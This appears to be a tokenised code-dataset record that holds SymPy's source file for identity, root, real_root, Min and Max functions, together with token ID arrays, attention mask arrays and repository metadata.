32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ga7g08/sympy
sympy/functions/elementary/miscellaneous.py
38
17458
from __future__ import print_function, division from sympy.core import S, sympify from sympy.core.add import Add from sympy.core.containers import Tuple from sympy.core.operations import LatticeOp, ShortCircuit from sympy.core.function import Application, Lambda, ArgumentIndexError from sympy.core.expr import Expr from sympy.core.mul import Mul from sympy.core.numbers import Rational from sympy.core.power import Pow from sympy.core.relational import Equality from sympy.core.singleton import Singleton from sympy.core.symbol import Dummy from sympy.core.rules import Transform from sympy.core.compatibility import as_int, with_metaclass, range from sympy.core.logic import fuzzy_and, fuzzy_or from sympy.functions.elementary.integers import floor from sympy.logic.boolalg import And class IdentityFunction(with_metaclass(Singleton, Lambda)): """ The identity function Examples ======== >>> from sympy import Id, Symbol >>> x = Symbol('x') >>> Id(x) x """ def __new__(cls): from sympy.sets.sets import FiniteSet x = Dummy('x') #construct "by hand" to avoid infinite loop obj = Expr.__new__(cls, Tuple(x), x) obj.nargs = FiniteSet(1) return obj Id = S.IdentityFunction ############################################################################### ############################# ROOT and SQUARE ROOT FUNCTION ################### ############################################################################### def sqrt(arg): """The square root function sqrt(x) -> Returns the principal square root of x. Examples ======== >>> from sympy import sqrt, Symbol >>> x = Symbol('x') >>> sqrt(x) sqrt(x) >>> sqrt(x)**2 x Note that sqrt(x**2) does not simplify to x. >>> sqrt(x**2) sqrt(x**2) This is because the two are not equal to each other in general. For example, consider x == -1: >>> from sympy import Eq >>> Eq(sqrt(x**2), x).subs(x, -1) False This is because sqrt computes the principal square root, so the square may put the argument in a different branch. This identity does hold if x is positive: >>> y = Symbol('y', positive=True) >>> sqrt(y**2) y You can force this simplification by using the powdenest() function with the force option set to True: >>> from sympy import powdenest >>> sqrt(x**2) sqrt(x**2) >>> powdenest(sqrt(x**2), force=True) x To get both branches of the square root you can use the RootOf function: >>> from sympy import RootOf >>> [ RootOf(x**2-3,i) for i in (0,1) ] [-sqrt(3), sqrt(3)] See Also ======== sympy.polys.rootoftools.RootOf, root, real_root References ========== .. [1] http://en.wikipedia.org/wiki/Square_root .. [2] http://en.wikipedia.org/wiki/Principal_value """ # arg = sympify(arg) is handled by Pow return Pow(arg, S.Half) def cbrt(arg): """This function computes the principial cube root of `arg`, so it's just a shortcut for `arg**Rational(1, 3)`. Examples ======== >>> from sympy import cbrt, Symbol >>> x = Symbol('x') >>> cbrt(x) x**(1/3) >>> cbrt(x)**3 x Note that cbrt(x**3) does not simplify to x. >>> cbrt(x**3) (x**3)**(1/3) This is because the two are not equal to each other in general. For example, consider `x == -1`: >>> from sympy import Eq >>> Eq(cbrt(x**3), x).subs(x, -1) False This is because cbrt computes the principal cube root, this identity does hold if `x` is positive: >>> y = Symbol('y', positive=True) >>> cbrt(y**3) y See Also ======== sympy.polys.rootoftools.RootOf, root, real_root References ========== * http://en.wikipedia.org/wiki/Cube_root * http://en.wikipedia.org/wiki/Principal_value """ return Pow(arg, Rational(1, 3)) def root(arg, n, k=0): """root(x, n, k) -> Returns the k-th n-th root of x, defaulting to the principle root (k=0). Examples ======== >>> from sympy import root, Rational >>> from sympy.abc import x, n >>> root(x, 2) sqrt(x) >>> root(x, 3) x**(1/3) >>> root(x, n) x**(1/n) >>> root(x, -Rational(2, 3)) x**(-3/2) To get the k-th n-th root, specify k: >>> root(-2, 3, 2) -(-1)**(2/3)*2**(1/3) To get all n n-th roots you can use the RootOf function. The following examples show the roots of unity for n equal 2, 3 and 4: >>> from sympy import RootOf, I >>> [ RootOf(x**2 - 1, i) for i in range(2) ] [-1, 1] >>> [ RootOf(x**3 - 1,i) for i in range(3) ] [1, -1/2 - sqrt(3)*I/2, -1/2 + sqrt(3)*I/2] >>> [ RootOf(x**4 - 1,i) for i in range(4) ] [-1, 1, -I, I] SymPy, like other symbolic algebra systems, returns the complex root of negative numbers. This is the principal root and differs from the text-book result that one might be expecting. For example, the cube root of -8 does not come back as -2: >>> root(-8, 3) 2*(-1)**(1/3) The real_root function can be used to either make the principle result real (or simply to return the real root directly): >>> from sympy import real_root >>> real_root(_) -2 >>> real_root(-32, 5) -2 Alternatively, the n//2-th n-th root of a negative number can be computed with root: >>> root(-32, 5, 5//2) -2 See Also ======== sympy.polys.rootoftools.RootOf sympy.core.power.integer_nthroot sqrt, real_root References ========== * http://en.wikipedia.org/wiki/Square_root * http://en.wikipedia.org/wiki/Real_root * http://en.wikipedia.org/wiki/Root_of_unity * http://en.wikipedia.org/wiki/Principal_value * http://mathworld.wolfram.com/CubeRoot.html """ n = sympify(n) if k: return Pow(arg, S.One/n)*S.NegativeOne**(2*k/n) return Pow(arg, 1/n) def real_root(arg, n=None): """Return the real nth-root of arg if possible. If n is omitted then all instances of (-n)**(1/odd) will be changed to -n**(1/odd); this will only create a real root of a principle root -- the presence of other factors may cause the result to not be real. Examples ======== >>> from sympy import root, real_root, Rational >>> from sympy.abc import x, n >>> real_root(-8, 3) -2 >>> root(-8, 3) 2*(-1)**(1/3) >>> real_root(_) -2 If one creates a non-principle root and applies real_root, the result will not be real (so use with caution): >>> root(-8, 3, 2) -2*(-1)**(2/3) >>> real_root(_) -2*(-1)**(2/3) See Also ======== sympy.polys.rootoftools.RootOf sympy.core.power.integer_nthroot root, sqrt """ from sympy import im, Piecewise if n is not None: try: n = as_int(n) arg = sympify(arg) if arg.is_positive or arg.is_negative: rv = root(arg, n) else: raise ValueError except ValueError: return root(arg, n)*Piecewise( (S.One, ~Equality(im(arg), 0)), (Pow(S.NegativeOne, S.One/n)**(2*floor(n/2)), And( Equality(n % 2, 1), arg < 0)), (S.One, True)) else: rv = sympify(arg) n1pow = Transform(lambda x: -(-x.base)**x.exp, lambda x: x.is_Pow and x.base.is_negative and x.exp.is_Rational and x.exp.p == 1 and x.exp.q % 2) return rv.xreplace(n1pow) ############################################################################### ############################# MINIMUM and MAXIMUM ############################# ############################################################################### class MinMaxBase(Expr, LatticeOp): def __new__(cls, *args, **assumptions): if not args: raise ValueError("The Max/Min functions must have arguments.") args = (sympify(arg) for arg in args) # first standard filter, for cls.zero and cls.identity # also reshape Max(a, Max(b, c)) to Max(a, b, c) try: _args = frozenset(cls._new_args_filter(args)) except ShortCircuit: return cls.zero # second filter # variant I: remove ones which can be removed # args = cls._collapse_arguments(set(_args), **assumptions) # variant II: find local zeros args = cls._find_localzeros(set(_args), **assumptions) if not args: return cls.identity elif len(args) == 1: return args.pop() else: # base creation # XXX should _args be made canonical with sorting? _args = frozenset(args) obj = Expr.__new__(cls, _args, **assumptions) obj._argset = _args return obj @classmethod def _new_args_filter(cls, arg_sequence): """ Generator filtering args. first standard filter, for cls.zero and cls.identity. Also reshape Max(a, Max(b, c)) to Max(a, b, c), and check arguments for comparability """ for arg in arg_sequence: # pre-filter, checking comparability of arguments if (not isinstance(arg, Expr)) or (arg.is_real is False) or (arg is S.ComplexInfinity): raise ValueError("The argument '%s' is not comparable." % arg) if arg == cls.zero: raise ShortCircuit(arg) elif arg == cls.identity: continue elif arg.func == cls: for x in arg.args: yield x else: yield arg @classmethod def _find_localzeros(cls, values, **options): """ Sequentially allocate values to localzeros. When a value is identified as being more extreme than another member it replaces that member; if this is never true, then the value is simply appended to the localzeros. """ localzeros = set() for v in values: is_newzero = True localzeros_ = list(localzeros) for z in localzeros_: if id(v) == id(z): is_newzero = False else: con = cls._is_connected(v, z) if con: is_newzero = False if con is True or con == cls: localzeros.remove(z) localzeros.update([v]) if is_newzero: localzeros.update([v]) return localzeros @classmethod def _is_connected(cls, x, y): """ Check if x and y are connected somehow. """ def hit(v, t, f): if not v.is_Relational: return t if v else f if x == y: return True r = hit(x >= y, Max, Min) if r is not None: return r r = hit(y <= x, Max, Min) if r is not None: return r r = hit(x <= y, Min, Max) if r is not None: return r r = hit(y >= x, Min, Max) if r is not None: return r return False def _eval_derivative(self, s): # f(x).diff(s) -> x.diff(s) * f.fdiff(1)(s) i = 0 l = [] for a in self.args: i += 1 da = a.diff(s) if da is S.Zero: continue try: df = self.fdiff(i) except ArgumentIndexError: df = Function.fdiff(self, i) l.append(df * da) return Add(*l) def evalf(self, prec=None, **options): return self.func(*[a.evalf(prec, options) for a in self.args]) n = evalf @property def is_real(self): return fuzzy_and(arg.is_real for arg in self.args) class Max(MinMaxBase, Application): """ Return, if possible, the maximum value of the list. When number of arguments is equal one, then return this argument. When number of arguments is equal two, then return, if possible, the value from (a, b) that is >= the other. In common case, when the length of list greater than 2, the task is more complicated. Return only the arguments, which are greater than others, if it is possible to determine directional relation. If is not possible to determine such a relation, return a partially evaluated result. Assumptions are used to make the decision too. Also, only comparable arguments are permitted. It is named ``Max`` and not ``max`` to avoid conflicts with the built-in function ``max``. Examples ======== >>> from sympy import Max, Symbol, oo >>> from sympy.abc import x, y >>> p = Symbol('p', positive=True) >>> n = Symbol('n', negative=True) >>> Max(x, -2) #doctest: +SKIP Max(x, -2) >>> Max(x, -2).subs(x, 3) 3 >>> Max(p, -2) p >>> Max(x, y) #doctest: +SKIP Max(x, y) >>> Max(x, y) == Max(y, x) True >>> Max(x, Max(y, z)) #doctest: +SKIP Max(x, y, z) >>> Max(n, 8, p, 7, -oo) #doctest: +SKIP Max(8, p) >>> Max (1, x, oo) oo * Algorithm The task can be considered as searching of supremums in the directed complete partial orders [1]_. The source values are sequentially allocated by the isolated subsets in which supremums are searched and result as Max arguments. If the resulted supremum is single, then it is returned. The isolated subsets are the sets of values which are only the comparable with each other in the current set. E.g. natural numbers are comparable with each other, but not comparable with the `x` symbol. Another example: the symbol `x` with negative assumption is comparable with a natural number. Also there are "least" elements, which are comparable with all others, and have a zero property (maximum or minimum for all elements). E.g. `oo`. In case of it the allocation operation is terminated and only this value is returned. Assumption: - if A > B > C then A > C - if A == B then B can be removed References ========== .. [1] http://en.wikipedia.org/wiki/Directed_complete_partial_order .. [2] http://en.wikipedia.org/wiki/Lattice_%28order%29 See Also ======== Min : find minimum values """ zero = S.Infinity identity = S.NegativeInfinity def fdiff( self, argindex ): from sympy import Heaviside n = len(self.args) if 0 < argindex and argindex <= n: argindex -= 1 if n == 2: return Heaviside(self.args[argindex] - self.args[1 - argindex]) newargs = tuple([self.args[i] for i in range(n) if i != argindex]) return Heaviside(self.args[argindex] - Max(*newargs)) else: raise ArgumentIndexError(self, argindex) def _eval_rewrite_as_Heaviside(self, *args): from sympy import Heaviside return Add(*[j*Mul(*[Heaviside(j - i) for i in args if i!=j]) \ for j in args]) def _eval_is_positive(self): return fuzzy_or(a.is_positive for a in self.args) def _eval_is_nonnegative(self): return fuzzy_or(a.is_nonnegative for a in self.args) def _eval_is_negative(self): return fuzzy_and(a.is_negative for a in self.args) class Min(MinMaxBase, Application): """ Return, if possible, the minimum value of the list. It is named ``Min`` and not ``min`` to avoid conflicts with the built-in function ``min``. Examples ======== >>> from sympy import Min, Symbol, oo >>> from sympy.abc import x, y >>> p = Symbol('p', positive=True) >>> n = Symbol('n', negative=True) >>> Min(x, -2) #doctest: +SKIP Min(x, -2) >>> Min(x, -2).subs(x, 3) -2 >>> Min(p, -3) -3 >>> Min(x, y) #doctest: +SKIP Min(x, y) >>> Min(n, 8, p, -7, p, oo) #doctest: +SKIP Min(n, -7) See Also ======== Max : find maximum values """ zero = S.NegativeInfinity identity = S.Infinity def fdiff( self, argindex ): from sympy import Heaviside n = len(self.args) if 0 < argindex and argindex <= n: argindex -= 1 if n == 2: return Heaviside( self.args[1-argindex] - self.args[argindex] ) newargs = tuple([ self.args[i] for i in range(n) if i != argindex]) return Heaviside( Min(*newargs) - self.args[argindex] ) else: raise ArgumentIndexError(self, argindex) def _eval_rewrite_as_Heaviside(self, *args): from sympy import Heaviside return Add(*[j*Mul(*[Heaviside(i-j) for i in args if i!=j]) \ for j in args]) def _eval_is_positive(self): return fuzzy_and(a.is_positive for a in self.args) def _eval_is_nonnegative(self): return fuzzy_and(a.is_nonnegative for a in self.args) def _eval_is_negative(self): return fuzzy_or(a.is_negative for a in self.args)
bsd-3-clause
[ 504, 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 199, 504, 5840, 14, 1018, 492, 428, 12, 25991, 199, 504, 5840, 14, 1018, 14, 525, 492, 2654, 199, 504, 5840, 14, 1018, 14, 13577, 492, 11634, 199, 504, 5840, 14, 1018, 14, 8170, 492, 491, 292, 3548, 4619, 12, 20124, 35, 14221, 199, 504, 5840, 14, 1018, 14, 1593, 492, 13515, 12, 28650, 12, 5886, 12129, 199, 504, 5840, 14, 1018, 14, 3684, 492, 14754, 199, 504, 5840, 14, 1018, 14, 3703, 492, 22578, 199, 504, 5840, 14, 1018, 14, 10548, 492, 20164, 199, 504, 5840, 14, 1018, 14, 5652, 492, 510, 583, 199, 504, 5840, 14, 1018, 14, 5690, 279, 492, 221, 22977, 199, 504, 5840, 14, 1018, 14, 24675, 492, 13050, 1860, 199, 504, 5840, 14, 1018, 14, 5155, 492, 9762, 199, 504, 5840, 14, 1018, 14, 4423, 492, 19463, 199, 504, 5840, 14, 1018, 14, 15390, 492, 465, 63, 442, 12, 543, 63, 6577, 12, 1425, 199, 504, 5840, 14, 1018, 14, 15370, 492, 24101, 63, 460, 12, 24101, 63, 269, 199, 504, 5840, 14, 5777, 14, 2108, 695, 14, 23931, 492, 19841, 199, 504, 5840, 14, 15370, 14, 2245, 6731, 492, 6061, 199, 199, 533, 22034, 3481, 8, 1045, 63, 6577, 8, 28456, 12, 28650, 2298, 272, 408, 272, 710, 8503, 805, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 15418, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 272, 1306, 15418, 8, 88, 9, 272, 671, 339, 408, 339, 347, 636, 1222, 721, 1886, 304, 267, 687, 5840, 14, 2193, 14, 2193, 492, 11711, 1175, 1084, 267, 671, 275, 9762, 360, 88, 358, 267, 327, 8514, 298, 991, 4926, 2, 370, 5126, 15258, 4438, 267, 1559, 275, 14754, 855, 1222, 721, 1886, 12, 11634, 8, 88, 395, 671, 9, 267, 1559, 14, 15929, 275, 11711, 1175, 1084, 8, 17, 9, 267, 372, 1559, 199, 199, 1304, 275, 428, 14, 10193, 3481, 199, 199, 11490, 199, 6565, 8776, 16547, 436, 15300, 16547, 32744, 21905, 5680, 199, 11490, 421, 199, 318, 7452, 8, 1273, 304, 272, 408, 1918, 12386, 1738, 805, 339, 7452, 8, 88, 9, 1035, 1803, 314, 21646, 12386, 1738, 402, 671, 14, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 7452, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 339, 1306, 7452, 8, 88, 9, 272, 7452, 8, 88, 9, 339, 1306, 7452, 8, 88, 6422, 18, 272, 671, 339, 3390, 626, 7452, 8, 88, 538, 18, 9, 1630, 440, 15037, 370, 671, 14, 339, 1306, 7452, 8, 88, 538, 18, 9, 272, 7452, 8, 88, 538, 18, 9, 339, 961, 365, 2952, 314, 2877, 787, 440, 4472, 370, 1924, 1163, 315, 8605, 14, 272, 2104, 2893, 12, 11201, 671, 508, 446, 17, 26, 339, 1306, 687, 5840, 492, 21779, 272, 1306, 21779, 8, 5079, 8, 88, 538, 18, 395, 671, 680, 9841, 8, 88, 12, 446, 17, 9, 272, 756, 339, 961, 365, 2952, 7452, 21445, 314, 21646, 12386, 1738, 12, 880, 314, 12386, 1443, 272, 5324, 314, 1423, 315, 282, 3365, 5246, 14, 221, 961, 8503, 1630, 10266, 340, 671, 365, 272, 7317, 26, 339, 1306, 612, 275, 10080, 360, 89, 297, 7317, 29, 549, 9, 272, 1306, 7452, 8, 89, 538, 18, 9, 272, 612, 339, 2047, 883, 3542, 642, 17553, 3477, 701, 1808, 314, 13131, 848, 597, 342, 805, 543, 272, 314, 3542, 945, 663, 370, 715, 26, 339, 1306, 687, 5840, 492, 13131, 848, 597, 272, 1306, 7452, 8, 88, 538, 18, 9, 272, 7452, 8, 88, 538, 18, 9, 272, 1306, 13131, 848, 597, 8, 5079, 8, 88, 538, 18, 395, 3542, 29, 549, 9, 272, 671, 339, 4005, 664, 3865, 17347, 402, 314, 12386, 1738, 1265, 883, 675, 314, 12826, 3466, 805, 26, 339, 1306, 687, 5840, 492, 12826, 3466, 339, 1306, 359, 12826, 3466, 8, 88, 538, 18, 13, 19, 12, 73, 9, 367, 284, 315, 334, 16, 12, 17, 9, 1622, 272, 5243, 5079, 8, 19, 395, 7452, 8, 19, 1874, 339, 1666, 6121, 272, 12655, 339, 5840, 14, 15743, 14, 1231, 1618, 2537, 14, 6405, 3466, 12, 1738, 12, 3363, 63, 1231, 339, 14504, 272, 21938, 339, 2508, 359, 17, 61, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 23373, 63, 1231, 272, 2508, 359, 18, 61, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 31729, 63, 585, 272, 408, 272, 327, 1680, 275, 25991, 8, 1273, 9, 365, 8860, 701, 510, 583, 272, 372, 510, 583, 8, 1273, 12, 428, 14, 21132, 9, 421, 199, 318, 7434, 2591, 8, 1273, 304, 272, 408, 2765, 805, 21445, 314, 5448, 262, 6125, 279, 15681, 1738, 402, 658, 1273, 3559, 880, 272, 652, 1159, 2951, 282, 17522, 367, 658, 1273, 538, 20248, 8, 17, 12, 650, 20414, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 7434, 2591, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 339, 1306, 7434, 2591, 8, 88, 9, 272, 671, 14192, 17, 15, 19, 9, 339, 1306, 7434, 2591, 8, 88, 6422, 19, 272, 671, 339, 3390, 626, 7434, 2591, 8, 88, 538, 19, 9, 1630, 440, 15037, 370, 671, 14, 339, 1306, 7434, 2591, 8, 88, 538, 19, 9, 272, 334, 88, 538, 19, 25288, 17, 15, 19, 9, 339, 961, 365, 2952, 314, 2877, 787, 440, 4472, 370, 1924, 1163, 315, 8605, 14, 272, 2104, 2893, 12, 11201, 658, 88, 508, 446, 17, 8340, 339, 1306, 687, 5840, 492, 21779, 272, 1306, 21779, 8, 2894, 2591, 8, 88, 538, 19, 395, 671, 680, 9841, 8, 88, 12, 446, 17, 9, 272, 756, 339, 961, 365, 2952, 7434, 2591, 21445, 314, 21646, 15681, 1738, 12, 642, 272, 8503, 1630, 10266, 340, 658, 88, 64, 365, 7317, 26, 339, 1306, 612, 275, 10080, 360, 89, 297, 7317, 29, 549, 9, 272, 1306, 7434, 2591, 8, 89, 538, 19, 9, 272, 612, 339, 1666, 6121, 272, 12655, 339, 5840, 14, 15743, 14, 1231, 1618, 2537, 14, 6405, 3466, 12, 1738, 12, 3363, 63, 1231, 339, 14504, 272, 21938, 339, 627, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 25043, 63, 1231, 272, 627, 1455, 921, 287, 14, 13961, 14, 1308 ]
[ 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 199, 504, 5840, 14, 1018, 492, 428, 12, 25991, 199, 504, 5840, 14, 1018, 14, 525, 492, 2654, 199, 504, 5840, 14, 1018, 14, 13577, 492, 11634, 199, 504, 5840, 14, 1018, 14, 8170, 492, 491, 292, 3548, 4619, 12, 20124, 35, 14221, 199, 504, 5840, 14, 1018, 14, 1593, 492, 13515, 12, 28650, 12, 5886, 12129, 199, 504, 5840, 14, 1018, 14, 3684, 492, 14754, 199, 504, 5840, 14, 1018, 14, 3703, 492, 22578, 199, 504, 5840, 14, 1018, 14, 10548, 492, 20164, 199, 504, 5840, 14, 1018, 14, 5652, 492, 510, 583, 199, 504, 5840, 14, 1018, 14, 5690, 279, 492, 221, 22977, 199, 504, 5840, 14, 1018, 14, 24675, 492, 13050, 1860, 199, 504, 5840, 14, 1018, 14, 5155, 492, 9762, 199, 504, 5840, 14, 1018, 14, 4423, 492, 19463, 199, 504, 5840, 14, 1018, 14, 15390, 492, 465, 63, 442, 12, 543, 63, 6577, 12, 1425, 199, 504, 5840, 14, 1018, 14, 15370, 492, 24101, 63, 460, 12, 24101, 63, 269, 199, 504, 5840, 14, 5777, 14, 2108, 695, 14, 23931, 492, 19841, 199, 504, 5840, 14, 15370, 14, 2245, 6731, 492, 6061, 199, 199, 533, 22034, 3481, 8, 1045, 63, 6577, 8, 28456, 12, 28650, 2298, 272, 408, 272, 710, 8503, 805, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 15418, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 272, 1306, 15418, 8, 88, 9, 272, 671, 339, 408, 339, 347, 636, 1222, 721, 1886, 304, 267, 687, 5840, 14, 2193, 14, 2193, 492, 11711, 1175, 1084, 267, 671, 275, 9762, 360, 88, 358, 267, 327, 8514, 298, 991, 4926, 2, 370, 5126, 15258, 4438, 267, 1559, 275, 14754, 855, 1222, 721, 1886, 12, 11634, 8, 88, 395, 671, 9, 267, 1559, 14, 15929, 275, 11711, 1175, 1084, 8, 17, 9, 267, 372, 1559, 199, 199, 1304, 275, 428, 14, 10193, 3481, 199, 199, 11490, 199, 6565, 8776, 16547, 436, 15300, 16547, 32744, 21905, 5680, 199, 11490, 421, 199, 318, 7452, 8, 1273, 304, 272, 408, 1918, 12386, 1738, 805, 339, 7452, 8, 88, 9, 1035, 1803, 314, 21646, 12386, 1738, 402, 671, 14, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 7452, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 339, 1306, 7452, 8, 88, 9, 272, 7452, 8, 88, 9, 339, 1306, 7452, 8, 88, 6422, 18, 272, 671, 339, 3390, 626, 7452, 8, 88, 538, 18, 9, 1630, 440, 15037, 370, 671, 14, 339, 1306, 7452, 8, 88, 538, 18, 9, 272, 7452, 8, 88, 538, 18, 9, 339, 961, 365, 2952, 314, 2877, 787, 440, 4472, 370, 1924, 1163, 315, 8605, 14, 272, 2104, 2893, 12, 11201, 671, 508, 446, 17, 26, 339, 1306, 687, 5840, 492, 21779, 272, 1306, 21779, 8, 5079, 8, 88, 538, 18, 395, 671, 680, 9841, 8, 88, 12, 446, 17, 9, 272, 756, 339, 961, 365, 2952, 7452, 21445, 314, 21646, 12386, 1738, 12, 880, 314, 12386, 1443, 272, 5324, 314, 1423, 315, 282, 3365, 5246, 14, 221, 961, 8503, 1630, 10266, 340, 671, 365, 272, 7317, 26, 339, 1306, 612, 275, 10080, 360, 89, 297, 7317, 29, 549, 9, 272, 1306, 7452, 8, 89, 538, 18, 9, 272, 612, 339, 2047, 883, 3542, 642, 17553, 3477, 701, 1808, 314, 13131, 848, 597, 342, 805, 543, 272, 314, 3542, 945, 663, 370, 715, 26, 339, 1306, 687, 5840, 492, 13131, 848, 597, 272, 1306, 7452, 8, 88, 538, 18, 9, 272, 7452, 8, 88, 538, 18, 9, 272, 1306, 13131, 848, 597, 8, 5079, 8, 88, 538, 18, 395, 3542, 29, 549, 9, 272, 671, 339, 4005, 664, 3865, 17347, 402, 314, 12386, 1738, 1265, 883, 675, 314, 12826, 3466, 805, 26, 339, 1306, 687, 5840, 492, 12826, 3466, 339, 1306, 359, 12826, 3466, 8, 88, 538, 18, 13, 19, 12, 73, 9, 367, 284, 315, 334, 16, 12, 17, 9, 1622, 272, 5243, 5079, 8, 19, 395, 7452, 8, 19, 1874, 339, 1666, 6121, 272, 12655, 339, 5840, 14, 15743, 14, 1231, 1618, 2537, 14, 6405, 3466, 12, 1738, 12, 3363, 63, 1231, 339, 14504, 272, 21938, 339, 2508, 359, 17, 61, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 23373, 63, 1231, 272, 2508, 359, 18, 61, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 31729, 63, 585, 272, 408, 272, 327, 1680, 275, 25991, 8, 1273, 9, 365, 8860, 701, 510, 583, 272, 372, 510, 583, 8, 1273, 12, 428, 14, 21132, 9, 421, 199, 318, 7434, 2591, 8, 1273, 304, 272, 408, 2765, 805, 21445, 314, 5448, 262, 6125, 279, 15681, 1738, 402, 658, 1273, 3559, 880, 272, 652, 1159, 2951, 282, 17522, 367, 658, 1273, 538, 20248, 8, 17, 12, 650, 20414, 339, 6058, 272, 12655, 339, 1306, 687, 5840, 492, 7434, 2591, 12, 10080, 272, 1306, 671, 275, 10080, 360, 88, 358, 339, 1306, 7434, 2591, 8, 88, 9, 272, 671, 14192, 17, 15, 19, 9, 339, 1306, 7434, 2591, 8, 88, 6422, 19, 272, 671, 339, 3390, 626, 7434, 2591, 8, 88, 538, 19, 9, 1630, 440, 15037, 370, 671, 14, 339, 1306, 7434, 2591, 8, 88, 538, 19, 9, 272, 334, 88, 538, 19, 25288, 17, 15, 19, 9, 339, 961, 365, 2952, 314, 2877, 787, 440, 4472, 370, 1924, 1163, 315, 8605, 14, 272, 2104, 2893, 12, 11201, 658, 88, 508, 446, 17, 8340, 339, 1306, 687, 5840, 492, 21779, 272, 1306, 21779, 8, 2894, 2591, 8, 88, 538, 19, 395, 671, 680, 9841, 8, 88, 12, 446, 17, 9, 272, 756, 339, 961, 365, 2952, 7434, 2591, 21445, 314, 21646, 15681, 1738, 12, 642, 272, 8503, 1630, 10266, 340, 658, 88, 64, 365, 7317, 26, 339, 1306, 612, 275, 10080, 360, 89, 297, 7317, 29, 549, 9, 272, 1306, 7434, 2591, 8, 89, 538, 19, 9, 272, 612, 339, 1666, 6121, 272, 12655, 339, 5840, 14, 15743, 14, 1231, 1618, 2537, 14, 6405, 3466, 12, 1738, 12, 3363, 63, 1231, 339, 14504, 272, 21938, 339, 627, 1455, 921, 287, 14, 13961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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sebdelsol/pyload
module/plugins/hoster/FlyFilesNet.py
1
1279
